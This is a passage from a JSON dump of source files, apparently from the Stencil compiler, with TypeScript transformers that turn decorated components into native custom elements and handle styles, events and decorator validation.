nativeInit = (cmp: d.ComponentCompilerMeta): ReadonlyArray<ts.ExpressionStatement | ts.IfStatement> => {\n  const initStatements: (ts.ExpressionStatement | ts.IfStatement)[] = [nativeRegisterHostStatement()];\n  if (cmp.encapsulation === 'shadow') {\n    initStatements.push(nativeAttachShadowStatement());\n  }\n  return initStatements;\n};\n\n/**\n * Generate an expression statement to register a host element with its VDOM equivalent in a global element-to-vdom\n * mapping.\n * @returns the generated expression statement\n */\nconst nativeRegisterHostStatement = (): ts.IfStatement => {\n  // Create an expression statement, `if (registerHost !== false) this.__registerHost();`\n  return ts.factory.createIfStatement(\n    ts.factory.createBinaryExpression(\n      ts.factory.createIdentifier('registerHost'),\n      ts.SyntaxKind.ExclamationEqualsEqualsToken,\n      ts.factory.createFalse(),\n    ),\n    ts.factory.createBlock([\n      ts.factory.createExpressionStatement(\n        ts.factory.createCallExpression(\n          ts.factory.createPropertyAccessExpression(\n            ts.factory.createThis(),\n            ts.factory.createIdentifier('__registerHost'),\n          ),\n          undefined,\n          undefined,\n        ),\n      ),\n    ]),\n  );\n};\n\n/**\n * Generates an expression statement for attaching a shadow DOM tree to an element.\n * @returns the generated expression statement\n */\nconst nativeAttachShadowStatement = (): ts.ExpressionStatement => {\n  // Create an expression statement, `this.__attachShadow();`\n  return ts.factory.createExpressionStatement(\n    ts.factory.createCallExpression(\n      ts.factory.createPropertyAccessExpression(ts.factory.createThis(), ts.factory.createIdentifier('__attachShadow')),\n      undefined,\n      undefined,\n    ),\n  );\n};\n"
  },
  {
    "path": "src/compiler/transformers/component-native/native-element-getter.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\n\n/**\n * Add a getter to a Stencil component class which returns the element's\n * instance at runtime.\n *\n * *Note*: this will modify the `classMembers` param by adding a new element.\n *\n * @param classMembers members of the class in question\n * @param cmp metadata about the stencil component of interest\n */\nexport const addNativeElementGetter = (classMembers: ts.ClassElement[], cmp: d.ComponentCompilerMeta) => {\n  // @Element() element;\n  // is transformed into:\n  // get element() { return this; }\n  if (cmp.elementRef) {\n    // Create the getter that will be used in the transformed class declaration\n    const getter = ts.factory.createGetAccessorDeclaration(\n      undefined,\n      cmp.elementRef,\n      [],\n      undefined,\n      ts.factory.createBlock([ts.factory.createReturnStatement(ts.factory.createThis())]),\n    );\n\n    ts.SyntaxKind.AmpersandToken;\n    // Find the index in the class members array that correlates with the element\n    // ref identifier we have\n    const index = classMembers.findIndex(\n      (member) =>\n        member.kind === ts.SyntaxKind.PropertyDeclaration && (member.name as any)?.escapedText === cmp.elementRef,\n    );\n\n    // Index should never not be a valid integer, but we'll be safe just in case.\n    // If the index is valid, we'll overwrite the existing class member with the getter\n    // so we don't create multiple members with the same identifier\n    if (index >= 0) {\n      classMembers[index] = getter;\n    } else {\n      classMembers.push(getter);\n    }\n  }\n};\n"
  },
  {
    "path": "src/compiler/transformers/component-native/native-meta.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { convertValueToLiteral, createStaticGetter } from '../transform-utils';\n\nexport const addNativeComponentMeta = (classMembers: ts.ClassElement[], cmp: d.ComponentCompilerMeta) => {\n  classMembers.push(createStaticGetter('is', convertValueToLiteral(cmp.tagName)));\n};\n"
  },
  {
    "path": "src/compiler/transformers/component-native/native-static-style.ts",
    "content": "import { DEFAULT_STYLE_MODE } from '@utils';\nimport { scopeCss } from '@utils/shadow-css';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { getScopeId } from '../../style/scope-css';\nimport { createStyleIdentifier } from '../add-static-style';\nimport { addTagTransformToCssTsAST, createStaticGetter } from '../transform-utils';\n\nexport const addNativeStaticStyle = (\n  classMembers: ts.ClassElement[],\n  cmp: d.ComponentCompilerMeta,\n  buildCtx: d.BuildCtx,\n) => {\n  if (Array.isArray(cmp.styles) && cmp.styles.length > 0) {\n    if (cmp.styles.length > 1 || (cmp.styles.length === 1 && cmp.styles[0].modeName !== DEFAULT_STYLE_MODE)) {\n      // multiple style modes\n      addMultipleModeStyleGetter(classMembers, cmp, cmp.styles, buildCtx);\n    } else {\n      // single style\n      addSingleStyleGetter(classMembers, cmp, cmp.styles[0], buildCtx);\n    }\n  }\n};\n\nconst addMultipleModeStyleGetter = (\n  classMembers: ts.ClassElement[],\n  cmp: d.ComponentCompilerMeta,\n  styles: d.StyleCompiler[],\n  buildCtx: d.BuildCtx,\n) => {\n  const styleModes: ts.ObjectLiteralElementLike[] = [];\n\n  styles.forEach((style) => {\n    /**\n     * the order of these if statements must match with\n     * - {@link src/compiler/transformers/component-native/native-static-style.ts#addSingleStyleGetter}\n     * - {@link src/compiler/transformers/add-static-style.ts#getSingleStyle}\n     * - {@link src/compiler/transformers/add-static-style.ts#getMultipleModeStyle}\n     */\n    if (typeof style.styleStr === 'string') {\n      // inline the style string\n      // static get style() { return { \"ios\": \"string\" }; }\n      const styleLiteral = createStyleLiteral(cmp, style, buildCtx);\n      const propStr = ts.factory.createPropertyAssignment(style.modeName, styleLiteral);\n      styleModes.push(propStr);\n    } else if (Array.isArray(style.externalStyles) && style.externalStyles.length > 0) {\n      // import generated from @Component() styleUrls option\n      // import myTagIosStyle from './import-path.css';\n      // static get style() { return { \"ios\": myTagIosStyle }; }\n      const styleUrlIdentifier = createStyleIdentifier(cmp, style);\n      const propUrlIdentifier = ts.factory.createPropertyAssignment(style.modeName, styleUrlIdentifier);\n      styleModes.push(propUrlIdentifier);\n    } else if (typeof style.styleIdentifier === 'string') {\n      // direct import already written in the source code\n      // import myTagIosStyle from './import-path.css';\n      // static get style() { return { \"ios\": myTagIosStyle }; }\n      const styleIdentifier = ts.factory.createIdentifier(style.styleIdentifier);\n      const propIdentifier = ts.factory.createPropertyAssignment(style.modeName, styleIdentifier);\n      styleModes.push(propIdentifier);\n    }\n  });\n\n  const styleObj = ts.factory.createObjectLiteralExpression(styleModes, true);\n\n  classMembers.push(createStaticGetter('style', styleObj));\n};\n\nconst addSingleStyleGetter = (\n  classMembers: ts.ClassElement[],\n  cmp: d.ComponentCompilerMeta,\n  style: d.StyleCompiler,\n  buildCtx: d.BuildCtx,\n) => {\n  /**\n   * the order of these if statements must match with\n   * - {@link src/compiler/transformers/component-native/native-static-style.ts#addMultipleModeStyleGetter}\n   * - {@link src/compiler/transformers/add-static-style.ts#getSingleStyle}\n   * - {@link src/compiler/transformers/add-static-style.ts#getMultipleModeStyle}\n   */\n  if (typeof style.styleStr === 'string') {\n    // inline the style string\n    // static get style() { return \"string\"; }\n    const styleLiteral = createStyleLiteral(cmp, style, buildCtx);\n    classMembers.push(createStaticGetter('style', styleLiteral));\n  } else if (Array.isArray(style.externalStyles) && style.externalStyles.length > 0) {\n    // import generated from @Component() styleUrls option\n    // import myTagStyle from './import-path.css';\n    // static get style() { return myTagStyle; }\n    const styleUrlIdentifier = createStyleIdentifier(cmp, style);\n    classMembers.push(createStaticGetter('style', styleUrlIdentifier));\n  } else if (typeof style.styleIdentifier === 'string') {\n    // direct import already written in the source code\n    // import myTagStyle from './import-path.css';\n    // static get style() { return myTagStyle; }\n    const styleIdentifier = ts.factory.createIdentifier(style.styleIdentifier);\n    classMembers.push(createStaticGetter('style', styleIdentifier));\n  }\n};\n\nconst addTagTransform = (cssCode: string, buildCtx: d.BuildCtx) => {\n  if (!buildCtx.config.extras.additionalTagTransformers) {\n    return ts.factory.createNoSubstitutionTemplateLiteral(cssCode);\n  }\n  const tagNames = buildCtx.components.map((c) => c.tagName);\n  return addTagTransformToCssTsAST(cssCode, tagNames);\n};\n\nconst createStyleLiteral = (cmp: d.ComponentCompilerMeta, style: d.StyleCompiler, buildCtx: d.BuildCtx) => {\n  if (cmp.encapsulation === 'scoped') {\n    // scope the css first\n    const scopeId = getScopeId(cmp.tagName, style.modeName);\n    return addTagTransform(scopeCss(style.styleStr, scopeId, false), buildCtx);\n  }\n\n  return addTagTransform(style.styleStr, buildCtx);\n};\n"
  },
  {
    "path": "src/compiler/transformers/component-native/proxy-custom-element-function.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { createClassMetadataProxy } from '../add-component-meta-proxy';\nimport { addImports } from '../add-imports';\nimport { RUNTIME_APIS } from '../core-runtime-apis';\nimport { getModuleFromSourceFile } from '../transform-utils';\n\n/**\n * Proxy custom elements for the `dist-custom-elements` output target. This function searches for a Stencil component's\n * class initializer (found on the right-hand side of the '=' operator):\n *\n * ```ts\n * const MyComponent = class extends HTMLElement { // Implementation omitted }\n * ```\n *\n * and wraps the initializer into a `proxyCustomElement` call:\n *\n * ```ts\n * const MyComponent = proxyCustomElement(class extends HTMLElement { // Implementation omitted }, componentMetadata);\n * ```\n *\n * This is to work around an issue where tree-shaking does not work for webpack users, whose details are captured in full\n * in [this issue on the webpack GitHub repo](https://github.com/webpack/webpack/issues/14963).\n *\n * @param compilerCtx current compiler context\n * @param transformOpts transpilation options for the current build\n * @returns a TypeScript AST transformer factory function that performs the above described transformation\n */\nexport const proxyCustomElement = (\n  compilerCtx: d.CompilerCtx,\n  transformOpts: d.TransformOptions,\n): ts.TransformerFactory<ts.SourceFile> => {\n  return () => {\n    return (tsSourceFile: ts.SourceFile): ts.SourceFile => {\n      const moduleFile = getModuleFromSourceFile(compilerCtx, tsSourceFile);\n      if (!moduleFile.cmps.length) {\n        return tsSourceFile;\n      }\n\n      const principalComponent = moduleFile.cmps[0];\n\n      for (const [stmtIndex, stmt] of tsSourceFile.statements.entries()) {\n        if (ts.isVariableStatement(stmt)) {\n          for (const [declarationIndex, declaration] of stmt.declarationList.declarations.entries()) {\n            if (declaration.name.getText() !== principalComponent.componentClassName) {\n              continue;\n            }\n\n            // to narrow the type of `declaration.initializer` to `ts.ClassExpression`\n            if (!ts.isClassExpression(declaration.initializer)) {\n              continue;\n            }\n\n            const renamedClassExpression = ts.factory.updateClassExpression(\n              declaration.initializer,\n              ts.getModifiers(declaration.initializer),\n              ts.factory.createIdentifier(principalComponent.componentClassName),\n              declaration.initializer.typeParameters,\n              declaration.initializer.heritageClauses,\n              declaration.initializer.members,\n            );\n\n            // wrap the Stencil component's class declaration in a component proxy\n            const proxyCreationCall = createClassMetadataProxy(principalComponent, renamedClassExpression);\n            ts.addSyntheticLeadingComment(proxyCreationCall, ts.SyntaxKind.MultiLineCommentTrivia, '@__PURE__', false);\n\n            // update the component's variable declaration to use the new initializer\n            const proxiedComponentDeclaration = ts.factory.updateVariableDeclaration(\n              declaration,\n              declaration.name,\n              declaration.exclamationToken,\n              declaration.type,\n              proxyCreationCall,\n            );\n\n            // update the declaration list that contains the updated variable declaration\n            const updatedDeclarationList = ts.factory.updateVariableDeclarationList(stmt.declarationList, [\n              ...stmt.declarationList.declarations.slice(0, declarationIndex),\n              proxiedComponentDeclaration,\n              ...stmt.declarationList.declarations.slice(declarationIndex + 1),\n            ]);\n\n            // update the variable statement containing the updated declaration list\n            const updatedVariableStatement = ts.factory.updateVariableStatement(\n              stmt,\n              stmt.modifiers,\n              updatedDeclarationList,\n            );\n\n            // update the source file's statements to use the new variable statement\n            tsSourceFile = ts.factory.updateSourceFile(tsSourceFile, [\n              ...tsSourceFile.statements.slice(0, stmtIndex),\n              updatedVariableStatement,\n              ...tsSourceFile.statements.slice(stmtIndex + 1),\n            ]);\n\n            // finally, ensure that the proxyCustomElement function is imported\n            tsSourceFile = addImports(\n              transformOpts,\n              tsSourceFile,\n              [RUNTIME_APIS.proxyCustomElement],\n              transformOpts.coreImportPath,\n            );\n\n            return tsSourceFile;\n          }\n        }\n      }\n      return tsSourceFile;\n    };\n  };\n};\n"
  },
  {
    "path": "src/compiler/transformers/component-native/tranform-to-native-component.ts",
    "content": "import { DIST_CUSTOM_ELEMENTS } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { addModuleMetadataProxies } from '../add-component-meta-proxy';\nimport { addImports } from '../add-imports';\nimport { addLegacyApis } from '../core-runtime-apis';\nimport { defineCustomElement } from '../define-custom-element';\nimport { updateStyleImports } from '../style-imports';\nimport { getComponentMeta, getModuleFromSourceFile } from '../transform-utils';\nimport { updateNativeComponentClass, updateNativeExtendedClass } from './native-component';\n\n/**\n * A function that returns a transformation factory. The returned factory\n * performs a series of transformations on Stencil components, in order to\n * generate 'native' web components, which is to say standalone custom elements\n * that are defined by classes extending `HTMLElement` with a\n * `connectedCallback` method and so on.\n *\n * Note that this is an 'output target' level transformer, i.e. it is\n * designed to be run on a Stencil component which has already undergone\n * initial transformation (which handles things like converting decorators to\n * static and so on).\n\n *\n * @param compilerCtx the current compiler context, which acts as the source of truth for the transformations\n * @param transformOpts the transformation configuration to use when performing the transformations\n * @returns a transformer factory, to be run by the TypeScript compiler\n */\nexport const nativeComponentTransform = (\n  compilerCtx: d.CompilerCtx,\n  transformOpts: d.TransformOptions,\n  buildCtx: d.BuildCtx,\n): ts.TransformerFactory<ts.SourceFile> => {\n  return (transformCtx: ts.TransformationContext) => {\n    return (tsSourceFile: ts.SourceFile) => {\n      const moduleFile = getModuleFromSourceFile(compilerCtx, tsSourceFile);\n\n      /**\n       * Helper function that recursively walks the concrete syntax tree. Upon finding a class declaration that Stencil\n       * recognizes as a component, update the component class\n       * @param node the current node in the tree being inspected\n       * @returns the updated component class, or the unchanged node\n       */\n      const visitNode = (node: ts.Node): ts.Node => {\n        if (ts.isClassDeclaration(node)) {\n          const cmp = getComponentMeta(compilerCtx, tsSourceFile, node);\n          if (cmp != null) {\n            return updateNativeComponentClass(transformOpts, node, moduleFile, cmp, buildCtx);\n          } else if (compilerCtx.moduleMap.get(tsSourceFile.fileName)?.isExtended) {\n            return updateNativeExtendedClass(node, moduleFile, transformOpts);\n          }\n        }\n\n        return ts.visitEachChild(node, visitNode, transformCtx);\n      };\n\n      tsSourceFile = ts.visitEachChild(tsSourceFile, visitNode, transformCtx);\n\n      if (moduleFile.cmps.length > 0) {\n        if (transformOpts.componentExport === 'customelement') {\n          // define custom element, will have no export\n          tsSourceFile = defineCustomElement(tsSourceFile, moduleFile, transformOpts);\n        } else if (transformOpts.proxy === 'defineproperty') {\n          // exporting as a module, but also add the component proxy fn\n          tsSourceFile = addModuleMetadataProxies(tsSourceFile, moduleFile);\n        }\n\n        tsSourceFile = updateStyleImports(transformOpts, tsSourceFile, moduleFile);\n      }\n\n      if (moduleFile.isLegacy) {\n        addLegacyApis(moduleFile);\n      }\n\n      const imports = [\n        ...(moduleFile?.coreRuntimeApis ?? []),\n        ...(moduleFile?.outputTargetCoreRuntimeApis[DIST_CUSTOM_ELEMENTS] ?? []),\n      ];\n\n      tsSourceFile = addImports(transformOpts, tsSourceFile, imports, transformOpts.coreImportPath);\n\n      return tsSourceFile;\n    };\n  };\n};\n"
  },
  {
    "path": "src/compiler/transformers/core-runtime-apis.ts",
    "content": "import type * as d from '../../declarations';\n\nexport const CREATE_EVENT = '__stencil_createEvent';\nexport const DEFINE_CUSTOM_ELEMENT = '__stencil_defineCustomElement';\nexport const GET_ELEMENT = '__stencil_getElement';\nexport const HOST = '__stencil_Host';\nexport const HTML_ELEMENT = 'HTMLElement';\nexport const PROXY_CUSTOM_ELEMENT = '__stencil_proxyCustomElement';\nexport const REGISTER_INSTANCE = '__stencil_registerInstance';\nexport const REGISTER_HOST = '__stencil_registerHost';\nexport const H = '__stencil_h';\nexport const TRANSFORM_TAG = '__stencil_transformTag';\n\nexport const RUNTIME_APIS = {\n  createEvent: `createEvent as ${CREATE_EVENT}`,\n  defineCustomElement: `defineCustomElement as ${DEFINE_CUSTOM_ELEMENT}`,\n  getElement: `getElement as ${GET_ELEMENT}`,\n  h: `h as ${H}`,\n  legacyH: `h`,\n  Host: `Host as ${HOST}`,\n  HTMLElement: HTML_ELEMENT,\n  proxyCustomElement: `proxyCustomElement as ${PROXY_CUSTOM_ELEMENT}`,\n  registerHost: `registerHost as ${REGISTER_HOST}`,\n  registerInstance: `registerInstance as ${REGISTER_INSTANCE}`,\n  transformTag: `transformTag as ${TRANSFORM_TAG}`,\n};\n\n/**\n * Update a Stencil Module entity to include a {@link RUNTIME_APIS} entry if it does not already exist.\n * This allows Stencil to keep `moduleFile` easily serializable, where this helper function treats the data structure\n * that stores {@link d.Module#coreRuntimeApis} similar to a JS `Set`.\n * @param moduleFile the Module entity to update\n * @param coreRuntimeApi the API to add to the provided module\n */\nexport const addCoreRuntimeApi = (moduleFile: d.Module, coreRuntimeApi: string): void => {\n  if (!moduleFile.coreRuntimeApis.includes(coreRuntimeApi)) {\n    moduleFile.coreRuntimeApis.push(coreRuntimeApi);\n  }\n};\n\n/**\n * Update a Stencil Module entity to include a {@link RUNTIME_APIS} entry for a specific output target, if it does not\n * already exist.\n * This allows Stencil to keep `moduleFile` easily serializable, where this helper function treats the data structure\n * that stores {@link d.Module#outputTargetCoreRuntimeApis} similar to a JS `Set`.\n * @param moduleFile the Module entity to update\n * @param outputTarget the output target to assign the provided runtime api under\n * @param coreRuntimeApi the API to add to the provided module\n */\nexport const addOutputTargetCoreRuntimeApi = (\n  moduleFile: d.Module,\n  outputTarget: d.OutputTarget['type'],\n  coreRuntimeApi: string,\n): void => {\n  if (!moduleFile.outputTargetCoreRuntimeApis[outputTarget]) {\n    // no such output target-specific collection exists, create the empty collection\n    moduleFile.outputTargetCoreRuntimeApis[outputTarget] = [];\n  }\n\n  if (!moduleFile.outputTargetCoreRuntimeApis[outputTarget].includes(coreRuntimeApi)) {\n    // add the api to the collection\n    moduleFile.outputTargetCoreRuntimeApis[outputTarget].push(coreRuntimeApi);\n  }\n};\n\nexport const addLegacyApis = (moduleFile: d.Module) => {\n  addCoreRuntimeApi(moduleFile, RUNTIME_APIS.legacyH);\n};\n"
  },
  {
    "path": "src/compiler/transformers/create-event.ts",
    "content": "import { EVENT_FLAGS } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { addCoreRuntimeApi, CREATE_EVENT, RUNTIME_APIS } from './core-runtime-apis';\n\n/**\n * For a Stencil component, generate the code to create custom emitted events, based on `@Event()` decorators\n * @param moduleFile the 'home module' of the class for which code is being generated\n * @param cmp the component metadata associated with the provided module\n * @returns the generated event creation code\n */\nexport const addCreateEvents = (moduleFile: d.Module, cmp: d.ComponentCompilerMeta): ts.ExpressionStatement[] => {\n  if (!cmp?.events?.length) {\n    // no events to create, so return an empty array\n    return [];\n  }\n  return cmp.events.map((ev) => {\n    addCoreRuntimeApi(moduleFile, RUNTIME_APIS.createEvent);\n\n    // for `@Event('eventName', { <eventOptions> }`, generate assignment to the class constructor of the form:\n    // this.eventName = createEvent(this, 'eventName', eventOptionsAsBitwiseNumber);\n    return ts.factory.createExpressionStatement(\n      ts.factory.createAssignment(\n        ts.factory.createPropertyAccessExpression(ts.factory.createThis(), ts.factory.createIdentifier(ev.method)),\n        ts.factory.createCallExpression(ts.factory.createIdentifier(CREATE_EVENT), undefined, [\n          ts.factory.createThis(),\n          ts.factory.createStringLiteral(ev.name),\n          ts.factory.createNumericLiteral(computeFlags(ev)),\n        ]),\n      ),\n    );\n  });\n};\n\n/**\n * Generate a bit flag encoded with event behavior information.\n *\n * This function uses the provided event metadata to determine which flags are set. {@link EVENT_FLAGS} acts as the\n * backing data structure that sets the actual bits on the returned value.\n *\n * @param eventMeta the metadata associated with the event\n * @returns the encoded event behaviors\n */\nconst computeFlags = (eventMeta: d.ComponentCompilerEvent): number => {\n  let flags = 0;\n  if (eventMeta.bubbles) {\n    flags |= EVENT_FLAGS.Bubbles;\n  }\n  if (eventMeta.composed) {\n    flags |= EVENT_FLAGS.Composed;\n  }\n  if (eventMeta.cancelable) {\n    flags |= EVENT_FLAGS.Cancellable;\n  }\n  return flags;\n};\n"
  },
  {
    "path": "src/compiler/transformers/decorators-to-static/attach-internals.ts",
    "content": "import { buildError } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { convertValueToLiteral, createStaticGetter, retrieveTsDecorators, tsPropDeclName } from '../transform-utils';\nimport { isDecoratorNamed } from './decorator-utils';\n\n/**\n * Convert the attach internals decorator to static, saving the name of the\n * decorated property so an `ElementInternals` object can be bound to it later\n * on.\n *\n * The `@AttachInternals` decorator is used to indicate a field on a class\n * where the return value of the `HTMLElement.attachInternals` method should be\n * bound. This then allows component authors to use that interface to make their\n * Stencil components rich participants in whatever `HTMLFormElement` instances\n * they find themselves inside of in the future.\n *\n * The decorator also accepts an optional `states` option to define initial\n * custom states that will be set on the `ElementInternals.states` CustomStateSet.\n * Each state property can have a JSDoc comment that will be extracted for documentation.\n *\n * **Note**: this function will mutate the `newMembers` parameter in order to\n * add new members to the class.\n *\n * @param diagnostics for reporting errors and warnings\n * @param decoratedMembers the decorated members found on the class\n * @param newMembers an out param for new class members\n * @param typeChecker a TypeScript typechecker, needed for resolving the prop\n * declaration name\n * @param decoratorName the name of the decorator to look for\n */\nexport const attachInternalsDecoratorsToStatic = (\n  diagnostics: d.Diagnostic[],\n  decoratedMembers: ts.ClassElement[],\n  newMembers: ts.ClassElement[],\n  typeChecker: ts.TypeChecker,\n  decoratorName: string,\n) => {\n  const attachInternalsMembers = decoratedMembers.filter(ts.isPropertyDeclaration).filter((prop) => {\n    return !!retrieveTsDecorators(prop)?.find(isDecoratorNamed(decoratorName));\n  });\n\n  // no decorated fields, return!\n  if (attachInternalsMembers.length === 0) {\n    return;\n  }\n\n  // found too many!\n  if (attachInternalsMembers.length > 1) {\n    const error = buildError(diagnostics);\n    error.messageText = `Stencil does not support adding more than one AttachInternals() decorator to a component`;\n    return;\n  }\n\n  const [decoratedProp] = attachInternalsMembers;\n\n  const { staticName: name } = tsPropDeclName(decoratedProp, typeChecker);\n\n  // Parse decorator options for custom states, extracting JSDoc comments from AST\n  const decorator = retrieveTsDecorators(decoratedProp)?.find(isDecoratorNamed(decoratorName));\n  const customStates = parseCustomStatesFromDecorator(decorator, typeChecker);\n\n  newMembers.push(createStaticGetter('attachInternalsMemberName', convertValueToLiteral(name)));\n\n  // Only add custom states static getter if there are states defined\n  if (customStates.length > 0) {\n    newMembers.push(createStaticGetter('attachInternalsCustomStates', convertValueToLiteral(customStates)));\n  }\n};\n\n/**\n * Parse custom states from the decorator AST, including JSDoc comments.\n *\n * Supports JSDoc comments on state properties:\n * ```ts\n * @AttachInternals({\n *   states: {\n *     hovered: false,\n *     /&#42;&#42; Whether is currently active &#42;/\n *     active: true\n *   }\n * })\n * ```\n *\n * @param decorator the decorator node to parse\n * @returns array of custom state metadata with docs\n */\nfunction parseCustomStatesFromDecorator(\n  decorator: ts.Decorator | undefined,\n  typeChecker: ts.TypeChecker,\n): d.ComponentCompilerCustomState[] {\n  if (!decorator || !ts.isCallExpression(decorator.expression)) {\n    return [];\n  }\n\n  const [firstArg] = decorator.expression.arguments;\n  if (!firstArg || !ts.isObjectLiteralExpression(firstArg)) {\n    return [];\n  }\n\n  // Find the 'states' property in the options object\n  const statesProp = firstArg.properties.find(\n    (prop): prop is ts.PropertyAssignment =>\n      ts.isPropertyAssignment(prop) && ts.isIdentifier(prop.name) && prop.name.text === 'states',\n  );\n\n  if (!statesProp || !ts.isObjectLiteralExpression(statesProp.initializer)) {\n    return [];\n  }\n\n  const customStates: d.ComponentCompilerCustomState[] = [];\n\n  // Iterate through each property in the states object\n  for (const prop of statesProp.initializer.properties) {\n    if (!ts.isPropertyAssignment(prop)) {\n      continue;\n    }\n\n    const stateName = ts.isIdentifier(prop.name)\n      ? prop.name.text\n      : ts.isStringLiteral(prop.name)\n        ? prop.name.text\n        : null;\n\n    if (!stateName) {\n      continue;\n    }\n\n    // Get the boolean value\n    let initialValue = false;\n    if (prop.initializer.kind === ts.SyntaxKind.TrueKeyword) {\n      initialValue = true;\n    } else if (prop.initializer.kind === ts.SyntaxKind.FalseKeyword) {\n      initialValue = false;\n    }\n\n    // Extract JSDoc comment using TypeChecker (consistent with rest of codebase)\n    const symbol = typeChecker.getSymbolAtLocation(prop.name);\n    const docs = symbol ? ts.displayPartsToString(symbol.getDocumentationComment(typeChecker)) : '';\n\n    customStates.push({\n      name: stateName,\n      initialValue,\n      docs,\n    });\n  }\n\n  return customStates;\n}\n"
  },
  {
    "path": "src/compiler/transformers/decorators-to-static/component-decorator.ts",
    "content": "import { augmentDiagnosticWithNode, buildError, validateComponentTag } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { convertValueToLiteral, createStaticGetter, retrieveTsDecorators } from '../transform-utils';\nimport { getDecoratorParameters } from './decorator-utils';\nimport { styleToStatic } from './style-to-static';\n\n/**\n * Perform code generation to create new class members for a Stencil component\n * which will drive the runtime functionality specified by various options\n * passed to the `@Component` decorator.\n *\n * Inputs are validated (@see {@link validateComponent}) before code generation\n * is performed.\n *\n * **Note**: in this function and in functions that it calls the `newMembers`\n * parameter is treated as an out parameter and mutated, with new class members\n * added to it.\n *\n * @param config a user-supplied config\n * @param typeChecker a TypeScript type checker instance\n * @param diagnostics an array of diagnostics for surfacing errors and warnings\n * @param cmpNode a TypeScript class declaration node corresponding to a\n * Stencil component\n * @param newMembers an out param to hold newly generated class members\n * @param componentDecorator the TypeScript decorator node for the `@Component`\n * decorator\n */\nexport const componentDecoratorToStatic = (\n  config: d.ValidatedConfig,\n  typeChecker: ts.TypeChecker,\n  diagnostics: d.Diagnostic[],\n  cmpNode: ts.ClassDeclaration,\n  newMembers: ts.ClassElement[],\n  componentDecorator: ts.Decorator,\n) => {\n  const [componentOptions] = getDecoratorParameters<d.ComponentOptions>(componentDecorator, typeChecker, diagnostics);\n  if (!componentOptions) {\n    return;\n  }\n\n  if (!validateComponent(config, diagnostics, typeChecker, componentOptions, cmpNode, componentDecorator)) {\n    return;\n  }\n\n  newMembers.push(createStaticGetter('is', convertValueToLiteral(componentOptions.tag.trim())));\n\n  if (componentOptions.shadow) {\n    newMembers.push(createStaticGetter('encapsulation', convertValueToLiteral('shadow')));\n\n    if (typeof componentOptions.shadow !== 'boolean') {\n      if (componentOptions.shadow.delegatesFocus === true) {\n        newMembers.push(createStaticGetter('delegatesFocus', convertValueToLiteral(true)));\n      }\n      if (componentOptions.shadow.slotAssignment === 'manual') {\n        newMembers.push(createStaticGetter('slotAssignment', convertValueToLiteral('manual')));\n      }\n    }\n  } else if (componentOptions.scoped) {\n    newMembers.push(createStaticGetter('encapsulation', convertValueToLiteral('scoped')));\n  }\n\n  if (componentOptions.formAssociated === true) {\n    newMembers.push(createStaticGetter('formAssociated', convertValueToLiteral(true)));\n  }\n\n  styleToStatic(newMembers, componentOptions);\n\n  const assetsDirs = componentOptions.assetsDirs || [];\n\n  if (assetsDirs.length > 0) {\n    newMembers.push(createStaticGetter('assetsDirs', convertValueToLiteral(assetsDirs)));\n  }\n};\n\n/**\n * Perform validation on a Stencil component in preparation for some\n * component-level code generation, checking that the class declaration node\n * itself doesn't have any problems and that the options passed to the\n * `@Component` decorator are valid.\n *\n * @param config a user-supplied config\n * @param diagnostics an array of diagnostics for surfacing errors and warnings\n * @param typeChecker a TypeScript type checker instance\n * @param componentOptions the options passed to the `@Component` director\n * @param cmpNode a TypeScript class declaration node corresponding to a\n * Stencil component\n * @param componentDecorator the TypeScript decorator node for the `@Component`\n * decorator\n * @returns whether or not the component is valid\n */\nconst validateComponent = (\n  config: d.ValidatedConfig,\n  diagnostics: d.Diagnostic[],\n  typeChecker: ts.TypeChecker,\n  componentOptions: d.ComponentOptions,\n  cmpNode: ts.ClassDeclaration,\n  componentDecorator: ts.Decorator,\n) => {\n  if (componentOptions.shadow && componentOptions.scoped) {\n    const err = buildError(diagnostics);\n    err.messageText = `Components cannot be \"scoped\" and \"shadow\" at the same time, they are mutually exclusive configurations.`;\n    augmentDiagnosticWithNode(err, findTagNode('scoped', componentDecorator));\n    return false;\n  }\n\n  // Validate slotAssignment is only used with shadow: true\n  if (typeof componentOptions.shadow === 'object' && componentOptions.shadow.slotAssignment) {\n    if (componentOptions.shadow.slotAssignment !== 'manual' && componentOptions.shadow.slotAssignment !== 'named') {\n      const err = buildError(diagnostics);\n      err.messageText = `The \"slotAssignment\" option must be either \"manual\" or \"named\".`;\n      augmentDiagnosticWithNode(err, findTagNode('slotAssignment', componentDecorator));\n      return false;\n    }\n  }\n\n  const constructor = cmpNode.members.find(ts.isConstructorDeclaration);\n  if (constructor && constructor.parameters.length > 0) {\n    const err = buildError(diagnostics);\n    err.messageText = `Classes decorated with @Component can not have a \"constructor\" that takes arguments.\n    All data required by a component must be passed by using class properties decorated with @Prop()`;\n    augmentDiagnosticWithNode(err, constructor.parameters[0]);\n    return false;\n  }\n\n  // check if class has more than one decorator\n  const otherDecorator = retrieveTsDecorators(cmpNode)?.find((d) => d !== componentDecorator);\n  if (otherDecorator) {\n    const err = buildError(diagnostics);\n    err.messageText = `Classes decorated with @Component can not be decorated with more decorators.\n    Stencil performs extensive static analysis on top of your components in order to generate the necessary metadata, runtime decorators at the components level make this task very hard.`;\n    augmentDiagnosticWithNode(err, otherDecorator);\n    return false;\n  }\n\n  const tag = componentOptions.tag;\n  if (typeof tag !== 'string' || tag.trim().length === 0) {\n    const err = buildError(diagnostics);\n    err.messageText = `tag missing in component decorator`;\n    augmentDiagnosticWithNode(err, componentDecorator);\n    return false;\n  }\n\n  const tagError = validateComponentTag(tag);\n  if (tagError) {\n    const err = buildError(diagnostics);\n    err.messageText = `${tagError}. Please refer to https://html.spec.whatwg.org/multipage/custom-elements.html#valid-custom-element-name for more info.`;\n    augmentDiagnosticWithNode(err, findTagNode('tag', componentDecorator));\n    return false;\n  }\n\n  if (!config._isTesting) {\n    const nonTypeExports = typeChecker\n      .getExportsOfModule(typeChecker.getSymbolAtLocation(cmpNode.getSourceFile()))\n      .filter(\n        (symbol) => (symbol.flags & (ts.SymbolFlags.Interface | 